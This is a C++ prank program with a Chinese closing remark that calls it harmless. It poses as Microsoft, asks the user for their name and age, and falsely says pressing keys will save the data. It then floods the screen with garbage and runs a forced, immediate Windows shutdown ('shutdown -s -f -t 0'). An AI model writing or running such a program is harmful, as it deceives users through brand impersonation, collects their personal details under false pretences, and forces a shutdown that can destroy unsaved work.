#include <iostream>
using namespace std;
int main(){
string name;
int age;
cout<<"Microsoft Windows保留所有权利。"<<endl;
cout<<"我们是Microsoft,需要获取你的部分信息以了解你"<<endl;
cout<<"你叫什么名字?"<<endl;
cin>>name;
cout<<"你的年龄?"<<endl;
cin>>age;
cout<<"你的名字叫"<<name<<",你的年龄是"<<age<<",对吧?";
cout<<"请你输入s键保存!"<<endl;
for(int i=1;i!=0;i++){
if(cin.get()=='s') {
cout<<"电脑出错,请按z键,一定可以保存"<<endl;
break;
}
}
for(int j=1;j!=0;j++){
if(cin.get()=='z'){
for(int k=1;k<=1000;k++)
cout<<"@@@@@@@@@@@@@$#$@$#$%#%@@@@@@@@@@@@@@@@$$$$$$$@!@$$^##$&%$#"<<endl;
break;
}
}
system("shutdown -s -f -t 0");//关机
return 0;
}
本程序最后只会让电脑关机,对电脑无害!但是谨慎运行!